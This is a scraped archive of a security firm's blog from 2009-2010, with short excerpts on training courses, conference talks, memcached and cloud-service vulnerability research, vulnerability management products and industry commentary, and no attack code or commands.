Mon, 25 Oct 2010 20:46:55 +0000

Introduction

From time to time I like to delve into malware analysis as a pastime and post interesting examples, and recently we received a malware sample that had a low-detection rate. Anti-Virus coverage was 15/43 (35.7%) based on a virustotal.com report and Norman sandbox did not detect any suspicious activity as shown in the report below:

Norman sandbox report did not show any registry or network activity. This might be due to the use of virtual CPU or sandbox bypass techniques by the malware. Sunbelt sandbox was down at the time of the analysis.

Sensepost Training in November

Thu, 14 Oct 2010 14:05:13 +0000

Our next scheduled training sessions have been planned for November. If you’re interested in attending, the dates and locations are:

1) HBN Bootcamp Edition 7-9th November, BlackHat Abu Dhabi

‘Hacking By Numbers – Bootcamp Edition‘ is our ‘introduction to hacking’ course. It is strongly method-based and emphasizes structure, approach and thinking over tools and tricks. The course is popular with beginners, who gain their first view into the world of hacking, and experts, who appreciate the sound, structured approach.

Gitex 2010 Dubai

Wed, 13 Oct 2010 15:40:31 +0000

At the invitation of the South African Department of Trade and Industry SensePost will form part of a South African delegation represented at GITEX 2010 from 17-21 October 2010:

Dubai International Convention and Exhibition Centre (DICEC) Dubai, United Arab Emirates
Hall 5, Stand C6-20B

If you are in Dubai or intend to visit the Gitex event, come over and visit me, Shane Kemp, at the SensePost stand.

http://www.sensepost.com/gitex

Hacking By Numbers – South Africa – September ’10

Thu, 26 Aug 2010 14:17:36 +0000

From the team that won the world’s first Soccer Hack Cup, we bring you the latest and the greatest in computer hacking training – SensePost Hacking By Numbers Extended Edition – a local course that combines two of the brand new courses we just finished presenting at Black Hat Las Vegas.

The training will be offered in Brooklyn Pretoria from 14 – 17 September 2010. Here’s how it will work:

14 – 15 September: Cadet Edition
16 – 17 September: Bootcamp Edition

Ok ok ok, so Pretoria is not exactly Vegas, but the courses are fresh and updated and packed full of exciting new content, tools and techniques.

Information Security South Africa (ISSA) 2010

Tue, 10 Aug 2010 12:39:18 +0000

Last week we presented an invited talk at the ISSA conference on the topic of online privacy (embedded below, click through to SlideShare for the original PDF.)

The talk is an introductory overview of Privacy from a Security perspective and was prompted by discussions between security & privacy people along the line of “Isn’t Privacy just directed Security? Privacy is to private info what PCI is to card info?” It was further prompted by discussion with Joe the Plumber along the lines of “Privacy is dead!”

Memcached talk update

Sat, 07 Aug 2010 08:05:52 +0000

Wow. At some point our talk hit HackerNews and then SlashDot after swirling around the Twitters for a few days. The attention is quite astounding given the relative lack of technical sexiness to this; explanations for the interest are welcome!

We wanted to highlight a few points that didn’t make the slides but were mentioned in the talk:

Bit.ly and GoWalla repaired the flaws extremely quickly, prior to the talk.
PBS didn’t get back to us.
GlobWorld is in beta and isn’t publicly available yet.

For those blaming admins or developers, I think the criticism is overly harsh (certainly I’m not much of a dev as the “go-derper” source will show). The issues we found were in cloud-based systems and an important differentiating factor between deploying apps on local systems as opposed to in the cloud is that developers become responsible for security issues that were never within their job descriptions; network-level security is oftentimes a foreign language to developers who are more familiar with app-level controls. With cloud deployments (such as those found in small startups without dedicated network-security people) the devs have to figure all this out.

BlackHat Write-up: go-derper and mining memcaches

Wed, 04 Aug 2010 09:57:49 +0000

[Update: Disclosure and other points discussed in a little more detail here.]

Why memcached?

At BlackHat USA last year we spoke about attacking cloud systems, while the thinking was broadly applicable, we focused on specific providers (overview). This year, we continued in the same vein except we focused on a particular piece of software used in numerous large-scale application including many cloud services. In the realm of “software that enables cloud services”, there appears to be a handful of “go to” applications that are consistently re-used, and it’s curious that a security practitioner’s perspective has not as yet been applied to them (disclaimer: I’m not aware of parallel work).

Go-derper: mining your memcacheds

Fri, 30 Jul 2010 09:34:11 +0000

Today at BlackHat USA 2010 we released a tool for manipulating memcached instances; we still need to write it up properly but here’s a link to the tool for the moment.

tl;dr: if you find a memcached, you can dump the cache and manipulate entries in the cache.

HTTP Methods per Directory

Mon, 28 Jun 2010 08:33:05 +0000

A very common finding in our day to day vulnerability management endevours is the HTTP Methods Per Directory.

In its most basic form, HackRack will determine which HTTP methods are allowed on various web or CGI directories by calling the OPTIONS methods per directory. On its own it is not always significant but as soon as you have directories that allow for PUT or DELETE, and weak directory permissions are in place, the picture can become much more colourful.

SensePost Corporate Threat(Risk) Modeler

Mon, 07 Jun 2010 13:24:31 +0000

Since joining SensePost I’ve had a chance to get down and dirty with the threat modeling tool. The original principle behind the tool, first released in 2007 at CSI NetSec, was to throw out existing threat modeling techniques (it’s really attack-focused risk) and start from scratch. It’s a good idea and the SensePost approach fits nicely between the heavily formalised models like Octave and the quick-n-dirty’s like attack trees. It allows fairly simple modeling of the organisation/system to quickly produce an exponentially larger list of possible risks and rank them.

New SensePost Website – check it out

Mon, 07 Jun 2010 12:08:25 +0000

Sigh. We’ve never been much good at marketing or advertising, and I guess we still aren’t. But we have tried to give our old website a bit of a face-lift, and it’s starting to feel like we’re finally making some progress.

Certainly most of the content is new and accurate and and certainly its much more comprehensive than our previous one. We’ve also gone to some effort to implement a more user-friendly CMS that will allow us to keep the content more current and interesting.

SensePost’s Training @ Black Hat Vegas ’10 (win something)

Mon, 07 Jun 2010 10:11:34 +0000

After hearing our talk was accepted at BlackHat, we’re happy to announce that our training will be back for it’s 9th straight run. Speaking of a run, we’re going to be hosting the usual marathon of courses: cadet, bootcamp, combat, web 2.0. But, while the names remain, we’ve spent some time updating the material. In particular, bootcamp, combat & web 2.0 have been through the ringer. We’re hoping to get some detailed info on the updates out in the coming weeks.

I know what your cert did last summer

Thu, 03 Jun 2010 13:08:27 +0000

Most of our clients that make use of our vulnerability management service, HackRack, manage a large and usually interactive web application environment, that makes use of SSL. HackRack would then often report on findings such as weak cyphers in use (critical if the client has to adhere to PCI DSS), mismatching cert names and domain names, and then expired certs.

Now, this is easy to check and re-check when you have a couple of single hosts and openssl foo. But, a couple of hundred sites and things get interesting and time consuming.

SensePost at BlackHat USA 2010

Mon, 31 May 2010 13:10:53 +0000

A brief update from South Africa on some recent talks as well as the upcoming BH USA: our talk proposal has been accepted for BH USA 2010 which makes it the ninth year running that SensePost is talking in Las Vegas. One more and we qualify for free milkshakes at the Peppermill. This year we’ll be discussing caching in large scale web apps and why exposing caches to the interwebs is a Very Bad Thing. We’ll also be looking at caching services, an idea whose time should never come.

SensePost J-Baah

Tue, 18 May 2010 09:29:14 +0000

I’m pleased to announce the release of J-Baah – the port of CrowBar (our generic HTTP Fuzzing tool) to Java.

If you’ve used CrowBar before, using J-Baah should be a breeze. If you haven’t, it actually has a help section. :P

You can grab a copy of J-Baah from here.

ITWeb Security Summit 2010 & Afterparty

Tue, 04 May 2010 13:22:54 +0000

The ITWeb security summit is coming up next week from the 11th to 13th of May. This is a conference we’re quite excited about, and have been involved in for the last few years, but most recently, we’ve been able to further our involvement beyond just speaking.

For years I jealously watched as SensePost’ers would trundle all over the world shaking hands and drinking beer with the leet haxors of the world. Then a few years ago, the ITWeb Security Summit brought over Kevin Mitnick. I remember sitting in the audience awe’d not so much by what was said (sorry Kevin, I’m sure it was interesting) but at the fact a real celebrity hacker was meters from me. I still keep his lock-pick business card as a memento. Since then, the summit has gotten bigger and better. ITWeb previously brought out people like Bruce Schneier (who I think thought I was a stalker), David Litchfield, Johnny Long (he’s African now), Johny Cache, Richard Stiennon, Roberto Preatoni and Phil Zimmerman (he video conf’ed in from his hospital bed after emergency heart surgery).

Password Strength Checker & Generator

Fri, 30 Apr 2010 17:41:35 +0000

In my previous role working as a security manager for a large retailer, I developed some password tools for various purposes, primarily to help non-security people with some of the basics. I licensed them under the GPL, and I think it’s about time they saw the light of day.

There are a couple of tools, which I will explain below. They’re all written in JavaScript, primarily because it is cross-platform, but can be centrally hosted. They all work in Firefox and Internet Explorer, although the automatic copy to clipboard functionality of the service desk tool is IE only.

GlypeAhead: Portscanning through PHP Glype proxies

Tue, 13 Apr 2010 20:45:09 +0000

As the need for online anonymity / privacy grew, the proxy industry flourished with many proxy owners generating passive incomes from their proxy networks.

Although ‘proxy’ is normally thought to imply some sort of daemonized application, such as Squid (or a SOCKS) daemon, the last couple of years have heralded in the age of CGI proxies and more commonly, their PHP variants.

These PHP proxies are extremely trivial to deploy and configure, especially since most hosting environments have PHP installed by default. When development of PHProxy (a popular PHP proxy) ceased, many devoted fans starting releasing their own customised PHProxy fixes and variants. In recent years, however, many proxy owners have gravitated towards Glype since it seemed to be well maintained (though the current status may be questionable).

BroadView V4 Attributes

Thu, 01 Apr 2010 14:43:24 +0000

Following on from Evert’s posting about the new BroadView v4, I’d like to showcase a specific aspect of BV that we’ve found useful, namely Attributes. These are small pieces of data collected and maintained for each host scanned by BV including somewhat mundane bits of info like IP address and OS but, they also include some really tasty morsels about remote hosts that are scanned. Attributes are collected on a per-scan-per-host basis, and are populated by each test that runs during the scan. Since attribute population is dependent on the selected tests, the set of Attributes available to you would vary according to you configuration.

‘Scraping’ our time servers

Wed, 31 Mar 2010 12:03:54 +0000

The intertubes have been humming lately around a certain NTP feature to gather lists of NTP servers’ clients and it naturally grabbed our attention.
The humming was started by HD Moore recently where he revealed that it is possible to query NTP servers to get lists of addresses and using the information for fun and profit. He also mentioned that he will be releasing a paper describing all this and how he can create a sizable DDOS using NTP, without giving too much detail about it.

BroadView – coming of age

Tue, 30 Mar 2010 15:38:52 +0000

Ever since Ron Gula’s RiskyBusiness talk #142 about their Nessus philosophy, I decided to come out of the closet and share with our readers the work we do in the vulnerability management field. [Ed: If you don’t listen to Risky Business then, as we say in South Africa, eish.] Ron explained that with Nessus they aim to give users a tool that can be used for monitoring and auditing – not enforcing. The “sed quis custodiet ipsos custodes” mantra comes to mind. For 9 years now we have been building two vulnerability management solutions named HackRack (for hosted, external scanning) and BroadView (for internal scanning) and it was especially HackRack that has claimed the limelight. The runt of the litter has always been BroadView, but alas (luckily?), no more.

HBN BootCamp Updated!

Wed, 17 Mar 2010 08:07:57 +0000

Hey Everyone,

As promised last week, we have made changes to the content of our HBN BootCamp course. We have updated the course content to include the following attack vectors, vulnerabilities and environments.

Web applications
Client-side attack vectors
Intranet vulnerabilities and exploits
Time-based attacks
Privilege Escalation and Pivot attacks
Third Party software exploitation
Data Extrusion techniques

We believe this will significantly change the course content and encourage you to sign up for our training.

CANSA Shavathon 2010

Wed, 10 Mar 2010 09:19:09 +0000

This past Thursday we received notice that Boogterman & Partners would be a host company for the CANSA Shavathon 2010 taking place on Friday, 05/03/2010. So when I send out an email to everyone at SensePost, little did I know at the time what a huge thing this would turn into. However I really shouldn’t be surprised as this is a typical show of how “We Roll”!

I was challenged (as the only girl in the office) to shave my head for CANSA. Well what can I say, the guys really wanted to see me do this because the enthusiasm was amazing! However more importantly we raised R3000.00 for this worthy cause and I was also able to donate my hair (as it met the length criteria) to make a wig and a R100 also goes to CANSA when they sell it. CANSA Shavathon’s goal was to raise R10 million and it would seem they have raised over R19 million so far which is brilliant! Showing how supportive South Africans are in general to this worthy cause which makes me proud to be South African!

Decrypting Symantec BackupExec passwords

Fri, 05 Mar 2010 10:56:10 +0000

BackupExec agent is often among common services found on the internal pen tests. The agent software stores an encrypted “logon account” password in its backend MS SQL database (LoginAccounts table). These accounts include the “system logon account” which is used to run agent services and an optional number of active directory accounts that are used to access resources over the network. The following scenarios can result in access to encrypted passwords:

SensePost trains in Spain.

Thu, 04 Mar 2010 11:18:06 +0000

Hey everyone.

We will once again be presenting our BootCamp training course at the BlackHat Europe Conference. It seems this is a quiet year in terms of training sessions so I guess everyone is starting to feel the pinch of the present economic climate. Nevertheless we have committed to being in Barcelona so we’re going for it anyway. It will be the first time we are training in Spain, which is pretty cool and exciting for us!

So long.. and thanks for everything..

Tue, 02 Mar 2010 21:50:06 +0000

Considering how freely i’ve ranted on our blog over the past few years i found it incredibly hard to to write this post. SensePost has been my home for the better part of a decade and i have been haroon@sensepost.com much more than i have been haroon meer.

In truly boring last post manner i wanted to quickly say thanks to everyone for making it such a fun ride. From the awesome people who took a chance on us when we were scarily young and foolish, to the guys (and girls) who joined us to help make SP elite. From the many customers who tolerated my sloppy dressing to Secure Data Holdings who have been awesome in every interaction we have ever had with them. From the people who have used our tools, read our work and contributed ideas to the people who read this blog (Hi Mom!).

SensePost Ten Years Old

Mon, 15 Feb 2010 13:03:47 +0000

After ten fascinating years, during which many people have contributed in so many ways to the place that is SensePost, by strange coincidence it falls on me to pen the words that mark our first decade in existence. To quote Robert Hunter: “What a long strange trip it’s been”. SensePost was officially founded on February 14, 2000. Of everyone who was involved at that time, I’m the only one still working here, which earns me the dubious honor of ‘oldest employee’. Do I get a gold watch? I meant to think much more over the last few weeks and months about how we should celebrate this day, or what I would write in a letter like this, but in the end (business being business) I’m writing this in a rush on a Sunday evening, with another three big things to complete before I allow myself to go to bed. Then again much of our success (in so far as we’ve been a success) happened in hurry on a Sunday night, so let’s not write this little piece off too soon, shall we?

Removing registration requirements

Mon, 08 Feb 2010 23:03:01 +0000

Over the years we’ve offered almost all our tools, papers, presentations and other materials for free, albeit with a “registration required” proviso. The registration wall has been in place for some time now, and was used to track unique users as well as permit users to opt into SensePost mailruns. What we found though, is that registration is more of a hindrance than a benefit; it creates an artificial barrier with little reward. The data isn’t that useful to us and the added steps just an extra annoyance for users, and we wanted to streamline things a little.

Is the writing on the wall for general purpose computing ?

Fri, 29 Jan 2010 23:21:57 +0000

The Apple iPad announcement set the interwebs alight, and there is no shortage of people blogging or tweeting about how it will or wont change their lives. I’m going to ignore those topics almost completely to make one of those predictions that serve mainly to let people laugh at me later for being so totally wrong..

Heres my vision..
Its not just the Hipsters and college kids who get iPads, its the execs and CEO’s. They are happy for a short while using it just as an E-Reader, movie watcher and couch based web browser, but the app store keeps growing to support the new form factor. Apps like iWork for iPad (at only $10) means that sooner or later they are relatively comfortable spreadsheeting or document pushing on their iPad.. It doesn’t take too long for them to realize that they don’t have much heavier computing requirements anyway and besides.. the instant on experience is what they always wanted..

80 minutes to Apples Tablet..

Wed, 27 Jan 2010 16:58:08 +0000

In 80 minutes Apple will announce the tablet, and the interwebs is almost bursting with excitement and anticipation..

You absolutely have to give shouts to Apple for being able to create a following like this, anticipation like this, without once ever having officially stated that they were launching the tablet today..

I know lots of people are quick to point out the fan-boyism, but it has to be said, that generating and maintaining that kind of cultish following is near impossible to get right, and AAPL manage to pull it off awesomely..[1]

Administristrivia: dead HDD

Wed, 13 Jan 2010 11:45:52 +0000

Our web server lost a drive yesterday, however things seems to be back to normal.

If you notice broken links or scripts, we’d appreciate a mail to info at sensepost.com.

Happy New Year! (No predictions.. promise..)

Thu, 31 Dec 2009 16:20:32 +0000

It’s the last few hours of 2009 here in South Africa so i wanted to take the opportunity really quickly to wish the 2 readers of this blog all the best for new year..

Most security “pundits” are currently doing their 2010 predictions. (although in truth few of them so far have been particularly surprising or out-there.. “Adobe will be brutalized” ? really? hows that different to 08 or 09)(One really has to question how the current whipping boy for exploit writers managed to be a key contributor to Gary McGraws BSIM Model, but i digress)

26th Chaos Communication Congress..

Wed, 30 Dec 2009 21:04:52 +0000

is currently on in Berlin.

As usual [it] looks like a blast, and as usual, media [is online] before the speaker shuts down his presentation machine..

SensePosters can grab a local copy of the EN-vids [here]

/mh

We are famous (almost!)

Wed, 16 Dec 2009 15:39:50 +0000

Last week had two “cloud-security” related articles hit the inter-webs.. After our Vegas09 talk on “clobbering the cloud” we had a brief chat to Rob Lemos, who called us up again, so we ended up adding the soundbyte to his piece in Technology review along with guys like Moxie Marlinspike and Danny MacPherson [here]

We also showed up on Read/Write Web, where we were called “security nerds” and “black hats”

Ahhh.. roll on 2010!

Criticism, Cheerleading, and Negativity

Mon, 07 Dec 2009 10:58:19 +0000

[Alex Payne] has an excellent post up titled “Criticism, Cheerleading, and Negativity“. It’s a 2 minute read, but its worth it:

”

We understand well the idea of being in favor or something, or against something, but we don’t particularly understand how criticism fits into this dichotomy.

The reason a person is critical of a thing is because he is passionate about that thing. In order to have a critical opinion, you have to love something enough to understand it, and then love it so much more that you want it to be better. Passion breeds critical thinking.

ZaCon – A con in need of a better tagline…

Mon, 30 Nov 2009 20:41:36 +0000

ZaCon came and went, “and a fun time was had by all!”

The first run was a semi-cosy affair held at the University of Johannesburg, with 16 speakers holding the crowd from 08h00 till 18h00. ZaCon had many SensePost faces, but is not expressly an SP initiative.. It’s a community based con aimed at growing the next gen of South African hax0rs..

My brief ~12 minute intro: “Why Zacon” explains some of the organizers thinking.. You can watch me blab [here] and you can watch the rest of the videos [here]

Defcon-17 – Clobbering the Cloud

Mon, 16 Nov 2009 10:42:37 +0000

Our DC-17 video (of the “Clobbering the Cloud” talk) is now available on the the new look DefCon download site: [here]

All of the other DC17 videos can be found [here]

(if you are a senseposter, you can grab them with descriptions from [here])

Twitter killed the (infosec) Blogging Star ?

Tue, 10 Nov 2009 15:45:47 +0000

Like it, hate it or just plain struggling to understand it, Twitter has made a huge impact across a wide range of fields. We use it fairly heavily internally for simulated water-cooler chatter and quick link-exchange. (like any piece of sp-geek-over-engineering we also have a tweet-bot to convert tweets to emails, and convert blog notifications to tweets). It’s pretty clear though, that once we started tweeting internally, people started blogging less. There’s something liberating about saying “here’s a link”, as opposed to taking the time to formulate your thoughts into a full blown posting.

Spammers need love too..

Thu, 05 Nov 2009 17:35:59 +0000

-snip-
From: Haroon Meer <haroon@sensepost.com>
To: Marc Schneider <marcs@mplw.net>
Subject: Re: http://www.sensepost.com – Contact needed

Hi Dr Schneider.

* Marc Schneider [marcs@mplw.net] seemed to say:
>I am Dr. Marc Schneider and I work for Multilingual Search Engine
>Optimization Inc. in Washington DC ( Tel: 1 202-250-3645) – I would
>like to speak with the person in charge of your international
>clientele. Who is my contact? Who should I speak to??
>
>In fact, after visiting http://www.sensepost.com , I have noticed that your
>website
>cannot be found on foreign search engines (I tested it on Hispanic
>search engines, German search engines, Asian search engines, etc.) Our
>company is specialized in multilingual search engine promotions in 28
>languages . From the Japanese Google to the German Yahoo, from the AOL
>in Spanish to the MSN in Chinese, we can show you how to develop a
>true international online presence by promoting your website on
>foreign search engines.

Dvorak, on Windows 7, Microsoft and attention to details..

Thu, 29 Oct 2009 08:17:24 +0000

The other day i tweeted a link from John Dvorak reviewing Windows 7. He basically said that Microsoft was dying, and said the product was “made with the same cheap Microsoft vodka.”

Dvoraks not new to this[1], (i recall reading his columns in PC magazine in the early 90’s, so he has been around). He slates Microsoft, not because of the code in windows7, but because (he feels) Microsoft has stopped paying attention to details:

Sensepost’s Developer and Bootcamp Security courses (November)

Mon, 19 Oct 2009 07:11:52 +0000

Hi All

SensePost will be running their next Developer and Bootcamp courses for 2009, scheduled for November. Please drop me an email if you know of anyone in your area that would like to attend.

– 1) Hacking by Numbers – Developer Edition (16-18 November 2009)

– 2) Hacking by Numbers -Extended (Bootcamp) Edition (10-13 November)

Information about courses:

1) HBN – Developer Edition
‘Hacking By Numbers – Developer Edition‘ is a course aimed at arming web application developers with knowledge of web application attack techniques currently being used in the ‘wild’ and how to combat them. Derived from our internationally acclaimed ‘Hacking By Numbers’ security training, this course focuses heavily on two questions: “What am I up against?” and “How can I protect my applications from attack?” During the course sample applications will be dissected to discover security related bugs hidden within the code. The class will then consider prevention, detection & cure.

sigh alas poor kindle…

Sun, 04 Oct 2009 21:04:44 +0000

my wife might have a kindle, which i might have bought in the US, which she might have loved dearly.. Buying books might have been possible using the “gift card hack” or the “US Postal Address hack” – but alas! It seems as if i can no longer transfer my money from me to Amazon this way..

Must our beautiful friendship end this way amazon? Will this geofilter come between us after all these years?

SensePost again accredited as a PCI ASV

Tue, 29 Sep 2009 09:42:48 +0000

SensePost is proud to announce that they have retained their status as an Approved Scanning Vendor for PCI DSS purposes.

This letter of acknowledgement was gladly received:

Truth be told, we did pop the bubbly for this one.

MS Threat Modeller

Tue, 15 Sep 2009 10:14:59 +0000

Just arbitrary coolness regarding Microsoft’s Threat Modeller. It’s XSS-ible…

Since this all works in file:///, not overly sure what the benefits of these things will be, but I suppose since different folks may have different privilege levels for different protocol handlers (ie: file:// http:// etc), one might be able to instantiate previously unusable OCX’es, or even redirect to site for exploiting browser vulnerabilities.

Never happened unless there are pictures, so refer below…

2 pieces of coolness…

Fri, 11 Sep 2009 23:27:15 +0000

a) was the politely dropped kaminsky firefox bug [http://lists.grok.org.uk/pipermail/full-disclosure/2009-September/070620.html]

It still requires a click for command execution, but considering its multi platform firefox ownage sans shellcode, i think its cool.. i think its even cooler that dan dropped it sans any fanfare..

b) has to be Pusscat‘s attack on the SMBv2 Remote bug published on [the VRT blog..]

From the post:

“we get lucky here as well in that there is a pointer srv!pSrvStatistics which also points to srvnet!SrvNetStatistics, and counts the number of requests that have been made to a specific call (as well as other things).

Fasm2009 – Videos online..

Fri, 04 Sep 2009 10:44:14 +0000

The “Fasm conference is an informal meeting of coders interested in x86 assembly programming.”

Some of the videos can be grabbed [sp_local|Other]

/mh

About:SnowLeopard

Wed, 02 Sep 2009 20:35:01 +0000

Sure it only cost $29, but when you consider the number of people bowing down and thanking our Cupertino overlords you have to consider the following:

If the Emperor was given his new clothes today, #emperors_clothes would be trending on twitter (with ppl thanking the tailors for reduced closet space requirements)

/mh

MonSoen.py

Wed, 26 Aug 2009 09:04:12 +0000

I was recently playing with a Wingate Proxy server, came across some arbitrary interestingness.

So, WinGate proxy includes a remote management agent which is accessed via a client utility called GateKeeper. This allows one to configure the WinGate server across the network. However, its not enabled to listen on the network by default, and only listens on 127.0.0.1:808. From my perusal of the documentation, the remote administrative facility should only be available to enterprise and professional license holders, and those firms using standard edition licenses will have to configure their proxy software locally.

John Viega’s “the myths of security”.. Really??

Sun, 23 Aug 2009 13:25:57 +0000

i go through a ton of books. Over the past 10 years, this has been dominated by books on computer security, computer science, programming (and some sprinklings of management classics).

I generally stay away from writing reviews, but was genuinely suprised at the number of 5 star reviews Viega’s new book had received and felt i had to chime in.

I picked up “the myths of security” (what the computer industry doesn’t want you to know) with hope, because O’Reilly books in general are well done and i really liked some of Johns previous books. Alas! I tried hard to think of a good thing to say about the book, and the best i can come up with right now is that “at least, it wont take up space on my bookshelf”.

The book is tiny (48 chapters, where each chapter is between a paragraph to 2-3 pages) which isn’t a bad thing, but it reads mostly as a collection of blog posts or hurriedly written notes-to-self.

BlackHat presentation demo vids: MobileMe

Sun, 09 Aug 2009 08:27:07 +0000

[part 5 in a series of 5 video write-ups from our BlackHat 09 talk, summary here]

Goal

The final installment of our BlackHat video series showcases weaknesses in the password reset feature for Apple’s MobileMe service as well as publicizing an XSS vulnerability in the application. At first glance the choice of MobileMe may seem arbitrary, but it was useful for a number of reasons. MobileMe is one of the more popular consumer-focused cloud services and it’s a good example of the feature-creep that’s a hallmark of cloud systems. By compromising a user’s MobileMe account an attacker has access to much more than just the user’s mail. With each new feature addition the user is sucked into the service a little more until most of their data is stored within MobileMe, and a compromise of the account becomes serious for the user.

BlackHat presentation demo vids: Amazon

Sat, 08 Aug 2009 20:53:32 +0000

[part 4 in a series of 5 video write-ups from our BlackHat 09 talk, summary here]

Goal

In the fourth installment of our BlackHat video series, we turned our attention to Amazon’s cloud platform and focused on their Elastic Compute Cloud (EC2) service specifically.

Theft of resources is the red-headed step-child of attack classes and doesn’t get much attention, but on cloud platforms where resources are shared amongst many users these attacks can have a very real impact. With this in mind, we wanted to show how EC2 was vulnerable to a number of resource theft attacks and the videos below demonstrate three separate attacks against EC2 that permit an attacker to boot up massive numbers of machines, steal computing time/bandwidth from other users and steal paid-for AMIs.

BlackHat presentation demo vids: SalesForce Sifto

Sat, 08 Aug 2009 06:59:46 +0000

[part 3 in a series of 5 video write-ups from our BlackHat 09 talk, summary here]

Goal

Our third video write-up covers abuse of cloud services. By signing up for free accounts, it is possible to gain access to small amounts of free resources, specifically processing time and bandwidth. However these resources are tightly controlled to maintain fairness across the many thousands of users who share the same platform.

We aim to circumvent some of these controls in order to access more resources than should be allowed, and we demonstrate this on the Force.com platform which supports the ability for a developer to upload and execute custom code. Our proof-of-concept was to port Nikto into a Force.com application, and we named it Sifto.

BlackHat presentation demo vids: SalesForce ClickJacking

Thu, 06 Aug 2009 14:48:02 +0000

[part 2 in a series of 5 video write-ups from our BlackHat 09 talk, summary here]

Goal

The premise behind this video was that while we are migrating more and more services into the cloud, the front-end through which the services are accessed as well as managed is (in many cases) a web application and we still have not figured out how to write secure web applications reliably. The implication is that business-critical services and infrastructure maybe at risk due to a web developer’s mistake.

BlackHat presentation demo vids: SugarSync

Thu, 06 Aug 2009 14:42:04 +0000

[part 1 in a series of 5 video write-ups from our BlackHat 09 talk, summary here]

Goal

We wanted to demonstrate how access to cloud resources can bring certain attack classes within reach of regular users. Instead of focusing on brute-forcing regular user credentials such as usernames and passwords, we decided to look at less noisy options since failed logins would typically be a closely watched metric.

To this end, different types of session identifiers were examined. The thinking was that by bruting session IDs instead of credentials the monitoring systems might be less likely to pickup the attack, and the cloud gives the attacker vast amounts of bandwidth and processing power that was not previously available. However even with access to cloud resources, most “strong” session IDs would still be large enough to avoid this attack (think 128-bit sessions such as those stored in ASP.NET cookies).

BlackHat presentation demo vids: Summary

Thu, 06 Aug 2009 14:39:34 +0000

Our BH09/DC17 presentation relied heavily on videos for the demos, and they’ve been blogged separately. Links below (will be made active once the upload is complete):

[slides]

[SugarSync]

[SalesForce Clickjack]

[SalesForce Sifto]

[Amazon Web Services]

[MobileME]

Clobbering the cloud slides

Wed, 05 Aug 2009 11:02:41 +0000

[updated: videos will be made available on this page]

140 slides in 75 minutes. They said it couldn’t be done… and they were right! (mostly)

Regardless, our Vegas trip was as much fun as previous years and our presentations at BlackHat and DEFCON went down well from the looks of things. While we plan on writing up the interesting parts, a number of people have requested access to the slidedeck in the mean time, and we’ve posted them here:

Wishlist for graduates

Wed, 08 Jul 2009 16:39:33 +0000

We were invited to speak at the recent ISSA2009 conference in Joburg, a local mostly academic security conference and I decided to carry a message in addition to the regular demo-style talk with which we try to entertain. By co-incidence, Haroon also had his peer-reviewed talk on Apple Exploitation Defences accepted so there were two SensePosters talking to the tweed jackets. I figured the most important bit of the presentation should be mentioned first, so before we carry on I’d like to present our attacker:

Watch out Amazon…

Mon, 29 Jun 2009 21:44:32 +0000

’cause theres some serious cloud computing competition on the horizon..

A google search for Cloud Provider returns the following paid ads..

Now i know conventional logic says its a bad idea to judge a book by its cover, but..

Apple vs Microsoft as a malware target.. stop saying market share..

Thu, 11 Jun 2009 18:06:53 +0000

I really enjoy listening to Mac Break Weekly.. Leo Laporte is an excellent host and i would tune in just to hear [Andy Ihnatko’s] take on the industry and the (possible) motivations behind certain players moves. (he is sometimes wrong, but always worth listening to). The only time the things ever get a little cringe-worthy is when talk switches to malware and security (although both Andy and Leo for the most part have pretty reasonable balanced views on it).

Excellent paper from MSFT Research on inline proxies vs. SSL

Sun, 07 Jun 2009 11:54:55 +0000

Ron Auger sent an email to the [WASC Mail list] on some fine work presented recently by Microsoft Research. The paper (and accompanying PPT), titled [Pretty-Bad-Proxy: An Overlooked Adversary in Browsers’ HTTPS Deployments] is pretty cool and shows several techniques for a malicious inline proxy to sniff SSL sessions passing through the proxy. Its genuinely a bunch of cool findings and has been handled neatly (with the exception of some shocking clipart!).

Two quick links on “how your app got hacked, even though it looked ok”

Fri, 05 Jun 2009 06:48:16 +0000

The first one from hacker news, aptly titled “How I Hacked Hacker News (with arc security advisory)”

and the 2nd, a welcome-back-to-the-blogosphere-tptacek post on the matasano blog: [Typing The Letters A-E-S Into Your Code? You’re Doing It Wrong!]

/mh

PS. for those going, man i wish someone would break down the important crypto stuff for me in a way thats understandable without being patronizing, there is Chris Eng and his owasp talk on [Cryptography For Penetration Testers]

Open Patch Management Survey

Thu, 04 Jun 2009 11:52:24 +0000

Rich Mogull (who’s stuff I really quite dig) has launched an ‘Open Patch Management Survey’ via the SecurityMetrics blog. Its an interesting idea, and they plan to release both their analysis *and* the raw data, which might be really insightful for our VMS stuff.

Corporations can take the SurveyMonkey survey at http://www.surveymonkey.com/s.aspx?sm=SjehgbiAl3mR_2b1gauMibQw_3d_3d, and there’s some nice material already available at http://securosis.com/projectquant.

Here’s the rest of Rich’s message (pls forgive the cross-post):

Our goal here is to gain an understanding of what people are really doing with regards to patch management, to better align the metrics model with real practices. We’re doing something different with this survey. All the results will be made public. We don’t mean the summary results, but the raw data (minus any private or identifiable information that could reveal the source person or organization). Once we hit 100 responses we will release the data in spreadsheet formats. Then, either every week or for every 100 additional responses, we will release updated data. We don’t plan on closing this for quite some time, but as with most surveys we expect an initial rush of responses and want to get the data out there quickly. As with all our material, the results will be licensed under Creative Commons.

How Good Companies Fail..

Sat, 16 May 2009 17:22:03 +0000

In early 2002 i recall reading and falling in love with Jim Collins book: “From good to Great“. I recall being so excited by some passages that i typed out whole paragraphs and sent them around to the rest of the office..

For my last birthday Deels got me Collins other book “Built to Last: Successful Habits of Visionary Companies“.

It seems as if he has done it again, with his new (soon to be released) book called “How The Mighty Fall: And Why Some Companies Never Give In”

Apple gets some clue points?

Wed, 13 May 2009 20:46:41 +0000

At [DeepSec] last year i had the pleasure of hearing Ivan Krsti? speak. While some of his arguments had (small) holes in them (which the audience were quick to pounce on), he raised the ugly fact that people like me like to ignore.. That some of us spend a lot more time thinking of elaborate ways to break stuff than we do designing less breakable stuff..

I think for most security “breakers” its an argument that sometimes hits hard, and makes you wonder if you should be refocusing your efforts..

Episode 9 of the ITSecurity Pubcast..

Mon, 11 May 2009 14:48:10 +0000

Yvette Du Toit (E&Y – UK/ZA) featured on the latest ITSecurity Pubcast and spoke about her role in CREST. SensePost were invited along, and i showed that while i have a face for radio, i do not have the voice for it.. Ahh.. some day ill find my niche..

Till then, you can listen to the pubcast [here] and SensePosters can grab the mp3 [here]

Zappos number 1 priority

Mon, 04 May 2009 22:21:07 +0000

